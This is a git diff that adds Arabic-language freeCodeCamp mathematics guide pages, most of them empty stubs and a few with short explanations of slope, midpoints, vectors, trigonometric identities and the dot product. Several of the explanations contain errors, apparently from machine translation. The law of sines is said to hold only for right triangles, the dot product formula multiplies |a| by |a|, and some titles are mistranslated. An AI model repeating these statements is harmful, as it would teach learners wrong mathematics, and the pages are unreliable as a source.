diff --git a/client/src/guide/arabic/mathematics/the-change-of-base-formula/index.md b/client/src/guide/arabic/mathematics/the-change-of-base-formula/index.md
new file mode 100644
index 0000000000..dd25e6e993
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/the-change-of-base-formula/index.md
@@ -0,0 +1,11 @@
+---
+title: The Change of Base Formula
+localeTitle: تغيير الصيغة الأساسية
+---
+## تغيير الصيغة الأساسية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/the-change-of-base-formula/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/the-common-and-natural-logarithms/index.md b/client/src/guide/arabic/mathematics/the-common-and-natural-logarithms/index.md
new file mode 100644
index 0000000000..ff878f30bf
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/the-common-and-natural-logarithms/index.md
@@ -0,0 +1,11 @@
+---
+title: The Common and Natural Logarithms
+localeTitle: اللوغاريتمات الطبيعية والطبيعية
+---
+## اللوغاريتمات الطبيعية والطبيعية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/the-common-and-natural-logarithms/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/the-distance-formula/index.md b/client/src/guide/arabic/mathematics/the-distance-formula/index.md
new file mode 100644
index 0000000000..a88e38fdbf
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/the-distance-formula/index.md
@@ -0,0 +1,11 @@
+---
+title: The Distance Formula
+localeTitle: صيغة المسافة
+---
+## صيغة المسافة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/the-distance-formula/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/the-law-of-cosines/index.md b/client/src/guide/arabic/mathematics/the-law-of-cosines/index.md
new file mode 100644
index 0000000000..b345ad76ff
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/the-law-of-cosines/index.md
@@ -0,0 +1,11 @@
+---
+title: The Law of Cosines
+localeTitle: قانون التزحلق
+---
+## قانون التزحلق
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/the-law-of-cosines/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/the-law-of-sines/index.md b/client/src/guide/arabic/mathematics/the-law-of-sines/index.md
new file mode 100644
index 0000000000..91b43274cc
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/the-law-of-sines/index.md
@@ -0,0 +1,15 @@
+---
+title: The Law of Sines
+localeTitle: قانون الجيوب
+---
+## قانون الجيوب
+
+قانون الجيوب هو فقط للمثلثات الصحيحة. عندما يكون لديك جانبان أو أكثر و زاوية واحدة على الأقل من الزاوية المقابلة من أجل حل الجانب المفقود.
+
+المعادلة هي:
+
+Sin (A) / a = Sin (B) / b = Sin (C) / c
+
+#### معلومات اكثر:
+
+https://www.mathsisfun.com/algebra/trig-sine-law.html
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/the-midpoint-formula/index.md b/client/src/guide/arabic/mathematics/the-midpoint-formula/index.md
new file mode 100644
index 0000000000..db47573ed1
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/the-midpoint-formula/index.md
@@ -0,0 +1,15 @@
+---
+title: The Midpoint Formula
+localeTitle: صيغة النقطة الوسطى
+---
+## صيغة النقطة الوسطى
+
+في الرياضيات ، النقطة الوسطى هي النقطة الوسطى لشريحة خط.
+
+![IMG](https://upload.wikimedia.org/wikipedia/commons/thumb/6/68/Midpoint.svg/282px-Midpoint.svg.png)
+
+في بعدين ، بالنسبة لقطاع خطي بنقاط نهاية (x1 و y1) و (x2 و y2) ، تكون نقطة المنتصف هي منتصف الطريق ، النقطة المتوسطة = ((x1 + x2) / 2 ، (y1 + y2) / 2).
+
+#### معلومات اكثر:
+
+*   [ويكيبيديا - Midpoint](https://en.wikipedia.org/wiki/Midpoint)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/the-quadratic-formula-explained/index.md b/client/src/guide/arabic/mathematics/the-quadratic-formula-explained/index.md
new file mode 100644
index 0000000000..2ca0ec9891
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/the-quadratic-formula-explained/index.md
@@ -0,0 +1,11 @@
+---
+title: The Quadratic Formula Explained
+localeTitle: وأوضح الصيغة التربيعية
+---
+## وأوضح الصيغة التربيعية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/the-quadratic-formula-explained/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/the-slope-of-a-straight-line/index.md b/client/src/guide/arabic/mathematics/the-slope-of-a-straight-line/index.md
new file mode 100644
index 0000000000..4a366c6ff6
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/the-slope-of-a-straight-line/index.md
@@ -0,0 +1,27 @@
+---
+title: The Slope of a Straight Line
+localeTitle: انحدار الخط المستقيم
+---
+## انحدار الخط المستقيم
+
+*   ميل خط ما هو رقم يصف كلا من اتجاه الخط وحديته. عادة ، يتم الإشارة إلى ميل الخط بواسطة m.  
+    
+*   تشير القيمة صفر لمنحدر (m = 0) في خط إلى أن الخط المعطى أفقي.  
+    
+*   يشير الخط ذو القيمة غير المحددة للمنحدر إلى أن الخط المعطى هو عمودي.  
+    
+*   يشير الخط ذو القيمة الموجبة للمنحدر (m> 0) إلى أن الخط المعطى يرتفع من اليسار إلى اليمين.  
+    
+*   يشير الخط ذو القيمة السالبة للمنحدر (m <0) إلى أن الخط المعطى ينخفض ​​من اليمين إلى اليسار.  
+    
+
+### حساب منحدر الخط عند إعطاء إثنين من إحداثيات النقاط على الخط
+
+في هذه الحالة ، لنفترض أن السطر l يحتوي على نقطتين مع إحداثيات (x 1 ، y 1 ) و (x 2 ، y 2 ) ثم يتم حساب ميل الخط على النحو التالي:
+
+![](https://latex.codecogs.com/gif.latex?m&space;=&space;\frac{y_{2}&space;-&space;y_{1}}{x_{2}&space;-&space;x_{1}} "m = \ frac {y_ {2} - y_ {1}} {x_ {2} - x_ {1}}")
+
+### حساب انحدار خط من معادلة الخط
+
+تحويل المعادلة المحددة من شكل معين في شكل ![](https://latex.codecogs.com/gif.latex?y&space;=&space;mx&space;+&space;c "y = mx + c")  
+حيث m هو المنحدر و c هي التقاطع y.
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/the-unit-circle-definition-of-sine-cosine-and-tangent/index.md b/client/src/guide/arabic/mathematics/the-unit-circle-definition-of-sine-cosine-and-tangent/index.md
new file mode 100644
index 0000000000..f375eada7b
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/the-unit-circle-definition-of-sine-cosine-and-tangent/index.md
@@ -0,0 +1,11 @@
+---
+title: The Unit Circle Definition of Sine Cosine and Tangent
+localeTitle: تعريف دائرة الوحدة الجيبية كوسين و Tangent
+---
+## تعريف دائرة الوحدة الجيبية كوسين و Tangent
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/the-unit-circle-definition-of-sine-cosine-and-tangent/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/the-unit-circle/index.md b/client/src/guide/arabic/mathematics/the-unit-circle/index.md
new file mode 100644
index 0000000000..352b33344d
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/the-unit-circle/index.md
@@ -0,0 +1,11 @@
+---
+title: The Unit Circle
+localeTitle: دائرة الوحدة
+---
+## دائرة الوحدة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/the-unit-circle/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/the-vertex-of-a-parabola/index.md b/client/src/guide/arabic/mathematics/the-vertex-of-a-parabola/index.md
new file mode 100644
index 0000000000..23e7487375
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/the-vertex-of-a-parabola/index.md
@@ -0,0 +1,9 @@
+---
+title: The Vertex of a Parabola
+localeTitle: قمة الرأس من القطع المكافئ
+---
+## قمة الرأس من القطع المكافئ
+
+قمة رأس القطع المكافئ هي أدنى نقطة أو أعلى نقطة (إذا كان القطع المكافئ مقلوباً) من القطع المكافئ. هذه هي النقطة التي يتغير فيها الميل من إيجابي إلى سلبي أو العكس. بالنسبة ل y = quadratic y = ax ^ 2 + bx + c ، يتم العثور على قمة الرأس (h، k) بواسطة الحوسبة h = -b / 2a وتقييم y بواسطة توصيل h.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/triangle/index.md b/client/src/guide/arabic/mathematics/triangle/index.md
new file mode 100644
index 0000000000..5951b9597a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/triangle/index.md
@@ -0,0 +1,11 @@
+---
+title: Triangle
+localeTitle: مثلث
+---
+## مثلث
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/triangle/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/trigonometric-functions/index.md b/client/src/guide/arabic/mathematics/trigonometric-functions/index.md
new file mode 100644
index 0000000000..ba95443563
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/trigonometric-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Trigonometric Functions
+localeTitle: الدوال المثلثية
+---
+## الدوال المثلثية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/trigonometric-functions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/trigonometric-identities/index.md b/client/src/guide/arabic/mathematics/trigonometric-identities/index.md
new file mode 100644
index 0000000000..2c07b4ebad
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/trigonometric-identities/index.md
@@ -0,0 +1,11 @@
+---
+title: Trigonometric Identities
+localeTitle: الهويات المثلثية
+---
+## الهويات المثلثية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/trigonometric-identities/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/trigonometry/angles-pi-over-3/index.md b/client/src/guide/arabic/mathematics/trigonometry/angles-pi-over-3/index.md
new file mode 100644
index 0000000000..963e5f184d
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/trigonometry/angles-pi-over-3/index.md
@@ -0,0 +1,11 @@
+---
+title: Angles PI Over 3
+localeTitle: زوايا PI أكثر من 3
+---
+## زوايا PI أكثر من 3
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/trigonometry/angles-pi-over-3/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/trigonometry/angles-pi-over-4/index.md b/client/src/guide/arabic/mathematics/trigonometry/angles-pi-over-4/index.md
new file mode 100644
index 0000000000..1e7915ea51
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/trigonometry/angles-pi-over-4/index.md
@@ -0,0 +1,11 @@
+---
+title: Angles PI Over 4
+localeTitle: Angles PI Over 4
+---
+## Angles PI Over 4
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/trigonometry/angles-pi-over-4/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/trigonometry/index.md b/client/src/guide/arabic/mathematics/trigonometry/index.md
new file mode 100644
index 0000000000..8cc79f0fa0
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/trigonometry/index.md
@@ -0,0 +1,11 @@
+---
+title: Trigonometry
+localeTitle: علم المثلثات
+---
+## علم المثلثات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/trigonometry/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/trigonometry/trigonometric-identities/index.md b/client/src/guide/arabic/mathematics/trigonometry/trigonometric-identities/index.md
new file mode 100644
index 0000000000..57f41a8ac4
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/trigonometry/trigonometric-identities/index.md
@@ -0,0 +1,46 @@
+---
+title: Trigonometric Identities
+localeTitle: الهويات المثلثية
+---
+# الهويات المثلثية
+
+_الهويات المثلثية_ هي مساواة تتضمن وظائف مثلثية. الدوال المثلثية هي وظائف لزاوية تربط زوايا مثلث بأطوال جانبيها (مثل الجيب وجيب التمام والماس). تتحقق _الهويات المثلثية_ لكل قيمة من المتغيرات حيث يتم تعريف جانبي المساواة.
+
+كلما كان من الضروري تبسيط التعبيرات التي تتضمن وظائف مثلثية ، فإن _الهويات المثلثية_ مفيدة للغاية.
+
+## قائمة الهويات المثلثية
+
+*   صيغ اضافة زاوية
+*   مزدوجة الزاوية الصيغ
+*   صيغ نصف الزاوية
+*   نظرية التوافق التوافقي
+*   صيغ Mollweide
+*   قانون موري
+*   صيغ متعددة الزاوية
+*   صيغ نيوتن
+*   صيغ بروستافريسيس
+*   صيغ سيمبسون
+*   نظرية ساين تانجد
+*   صيغ الجمع المثلثية
+*   صيغ الطاقة المثلثية
+*   صيغ سلسلة المثلثية
+*   زوايا المثلثات
+*   زوايا المثلثات - 0
+*   Angles Angles - Pi / 2 - Pi / 32
+*   واليس كوسين الفورمولا
+*   واليس الفورمولا
+*   واليس ساين الفورمولا
+*   Weierstrass تبديل
+*   فيرنر الصيغ
+
+#### جيب التمام والسيينات حول دائرة الوحدة
+
+![جيب التمام و جيب هي دائرة الوحدة](https://upload.wikimedia.org/wikipedia/commons/thumb/4/4c/Unit_circle_angles_color.svg/640px-Unit_circle_angles_color.svg.png?1507763902323)
+
+## موارد آخرى
+
+*   [ولفرام MathWorld - الهويات المثلثية](http://mathworld.wolfram.com/topics/TrigonometricIdentities.html)
+*   [ولفرام ماثوورلد - زوايا علم المثلثات - Pi / 3](http://mathworld.wolfram.com/TrigonometryAnglesPi3.html)
+*   [ولفرام ماث وورلد - 30-60-90 مثلث](http://mathworld.wolfram.com/30-60-90Triangle.html)
+*   [ويكيبيديا - قائمة الهويات المثلثية](https://www.wikiwand.com/en/List_of_trigonometric_identities)
+*   [ويكيبيديا - الدوال المثلثية](https://www.wikiwand.com/en/Trigonometric_functions)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/u-substitution-indefinite-integrals/index.md b/client/src/guide/arabic/mathematics/u-substitution-indefinite-integrals/index.md
new file mode 100644
index 0000000000..09e9fe1fd7
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/u-substitution-indefinite-integrals/index.md
@@ -0,0 +1,11 @@
+---
+title: U Substitution Indefinite Integrals
+localeTitle: ش استبدال تكامل indefinite
+---
+## ش استبدال تكامل indefinite
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/u-substitution-indefinite-integrals/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/understanding-square-roots/index.md b/client/src/guide/arabic/mathematics/understanding-square-roots/index.md
new file mode 100644
index 0000000000..056f2e6385
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/understanding-square-roots/index.md
@@ -0,0 +1,11 @@
+---
+title: Understanding Square Roots
+localeTitle: فهم الجذور المربعة
+---
+## فهم الجذور المربعة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/understanding-square-roots/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/understanding-the-quadratic-formula/index.md b/client/src/guide/arabic/mathematics/understanding-the-quadratic-formula/index.md
new file mode 100644
index 0000000000..a6e4129021
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/understanding-the-quadratic-formula/index.md
@@ -0,0 +1,11 @@
+---
+title: Understanding the Quadratic Formula
+localeTitle: فهم الصيغة التربيعية
+---
+## فهم الصيغة التربيعية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/understanding-the-quadratic-formula/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/unit-circle/index.md b/client/src/guide/arabic/mathematics/unit-circle/index.md
new file mode 100644
index 0000000000..d8fef666cb
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/unit-circle/index.md
@@ -0,0 +1,11 @@
+---
+title: Unit Circle
+localeTitle: دائرة الوحدة
+---
+## دائرة الوحدة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/unit-circle/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/us-standard-volume/index.md b/client/src/guide/arabic/mathematics/us-standard-volume/index.md
new file mode 100644
index 0000000000..b9c84980c3
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/us-standard-volume/index.md
@@ -0,0 +1,11 @@
+---
+title: Us Standard Volume
+localeTitle: لنا حجم قياسي
+---
+## لنا حجم قياسي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/us-standard-volume/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/using-the-cosine-double-angle-identity/index.md b/client/src/guide/arabic/mathematics/using-the-cosine-double-angle-identity/index.md
new file mode 100644
index 0000000000..4b092fe41a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/using-the-cosine-double-angle-identity/index.md
@@ -0,0 +1,11 @@
+---
+title: Using the Cosine Double Angle Identity
+localeTitle: استخدام Cosine Double Angle Identity
+---
+## استخدام Cosine Double Angle Identity
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/using-the-cosine-double-angle-identity/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/vector-intro-for-linear-algebra/index.md b/client/src/guide/arabic/mathematics/vector-intro-for-linear-algebra/index.md
new file mode 100644
index 0000000000..eedb26d050
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/vector-intro-for-linear-algebra/index.md
@@ -0,0 +1,11 @@
+---
+title: Vector Intro for Linear Algebra
+localeTitle: مقدمة عن الجبر الخطي
+---
+## مقدمة عن الجبر الخطي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vector-intro-for-linear-algebra/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/vectors/addition-and-scalar-multiplication/index.md b/client/src/guide/arabic/mathematics/vectors/addition-and-scalar-multiplication/index.md
new file mode 100644
index 0000000000..fd58c5d3d8
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/vectors/addition-and-scalar-multiplication/index.md
@@ -0,0 +1,42 @@
+---
+title: Addition and Scalar Multiplication
+localeTitle: الجمع والضرب العددى
+---
+## الجمع والضرب العددى
+
+عند العمل مع النواقل ، فإن أكثر العمليتين شيوعًا هما إضافة المتجهات والضرب بواسطة عددي.
+
+### إضافة ناقلات
+
+يمكن تصور إضافة ناقلات على النحو التالي:
+
+1.  خذ "الذيل" (النهاية بدون سهم / أصل المتجه) للمتجه الثاني ، وقم بتوصيله (دون تغيير) إلى "الطرف" (نهاية السهم / السهم) للمتجه الأول. الآن ، إذا قمت بإنشاء متجه جديد من ذيل المتجه الأول إلى طرف المتجه الثاني ، فسيتم تركك مع مجموع المتجهات!
+    
+2.  يطرح تقريباً متجهين نفس الشيء. ومع ذلك ، يجب عليك عكس اتجاه المتجه الثاني ، ومن ثم المضي قدما في توصيله إلى الأول.
+    
+
+من الواضح أنك لا تريد أن ترسم وتوصل المتجهات في كل مرة تريد فيها القيام بعمل متجه. لحسن الحظ ، فإن الحل أبسط من الناحية العملية.
+
+على افتراض أن لديك متجهين <1،2> و <5، -4> ، كل ما عليك فعله هو إضافة المكونات المقابلة:
+
+ <1،2> + <5، -4> = <1 + 5، 2 + (-4)> = <6، -2> 
+
+يعمل هذا مع متجهات ذات أبعاد كما تريد ، طالما أن أحجام المتجهات المضافة هي نفسها. على سبيل المثال ، إضافة <4 ، 4 ، -5 ، 0> و <2 ، 4 ، -1 ، -29>:
+
+ <4، 4، -5، 0> + <2، 4، -1، -29> = <4 + 2، 4 + 4، -5 + (-1)، 0 + (-29)> = <6 ، 8 ، -6 ، -29> 
+
+### الضرب القياسي
+
+عند ضرب متجه بواسطة عددي ، يمكنك التفكير في الأمر بزيادة حجمه.
+
+على سبيل المثال ، عند ضرب المتجه <2 ، 3> بنسبة 2:
+
+ 2 \* <2،3> = <2 \* 2، 2 \* 3> = <4، 6> 
+
+يتم الحفاظ على الاتجاه - يتم زيادة حجم فقط من قبل عامل من 2.
+
+ومع ذلك ، عندما نتكاثر بعدد سالب ، يتم عكس الاتجاه. عند ضرب المتجه <2 ، 3> بنسبة -2:
+
+ -2 \* <2، 3> = <-2 \* 2، -2 \* 3> = <-4، -6> 
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/vectors/algebraic-laws-of-vectors/index.md b/client/src/guide/arabic/mathematics/vectors/algebraic-laws-of-vectors/index.md
new file mode 100644
index 0000000000..5fb1cbd5dd
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/vectors/algebraic-laws-of-vectors/index.md
@@ -0,0 +1,11 @@
+---
+title: Algebraic Laws of Vectors
+localeTitle: القوانين الجبرية للمتجهات
+---
+## القوانين الجبرية للمتجهات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/algebraic-laws-of-vectors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/vectors/angle-between-vectors/index.md b/client/src/guide/arabic/mathematics/vectors/angle-between-vectors/index.md
new file mode 100644
index 0000000000..4a49c51da3
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/vectors/angle-between-vectors/index.md
@@ -0,0 +1,11 @@
+---
+title: Angle Between Vectors
+localeTitle: الزاوية بين المتجهات
+---
+## الزاوية بين المتجهات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/angle-between-vectors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/vectors/cauchy-schwartz-inequality/index.md b/client/src/guide/arabic/mathematics/vectors/cauchy-schwartz-inequality/index.md
new file mode 100644
index 0000000000..034b9c7568
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/vectors/cauchy-schwartz-inequality/index.md
@@ -0,0 +1,11 @@
+---
+title: Cauchy Schwartz Inequality
+localeTitle: كوشي شوارتز اللامساواة
+---
+## كوشي شوارتز اللامساواة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/cauchy-schwartz-inequality/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/vectors/cross-product/index.md b/client/src/guide/arabic/mathematics/vectors/cross-product/index.md
new file mode 100644
index 0000000000..53eaea27cf
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/vectors/cross-product/index.md
@@ -0,0 +1,11 @@
+---
+title: Cross Product
+localeTitle: المنتوج الوسيط
+---
+## المنتوج الوسيط
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/cross-product/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/vectors/curves/index.md b/client/src/guide/arabic/mathematics/vectors/curves/index.md
new file mode 100644
index 0000000000..9a5540e8c9
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/vectors/curves/index.md
@@ -0,0 +1,11 @@
+---
+title: Curves
+localeTitle: منحنيات
+---
+## منحنيات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/curves/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/vectors/directed-line-segments/index.md b/client/src/guide/arabic/mathematics/vectors/directed-line-segments/index.md
new file mode 100644
index 0000000000..ed5945ecbe
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/vectors/directed-line-segments/index.md
@@ -0,0 +1,11 @@
+---
+title: Directed Line Segments
+localeTitle: خطوط الخط المباشر
+---
+## خطوط الخط المباشر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/directed-line-segments/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/vectors/dot-product/index.md b/client/src/guide/arabic/mathematics/vectors/dot-product/index.md
new file mode 100644
index 0000000000..eaee1eee64
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/vectors/dot-product/index.md
@@ -0,0 +1,34 @@
+---
+title: Dot Product
+localeTitle: المنتج نقطة
+---
+# المنتج نقطة
+
+كما يعرف المنتج النقطي للمتجهات بأنه المنتج "القياسي".
+
+#### معادلة
+
+إذا كان **a** و **b** هما متقابلان متقابلان في نقطة ما ، التي تكون moduli بها **أ** | و | **ب** | على التوالي و **θ** هي الزاوية بينهما ، ثم يتم إعطاء المنتج "نقطة" أو "عددي" للمتحركين كما يلي:
+
+**أب** = | **أ** | | **أ** | cosθ
+
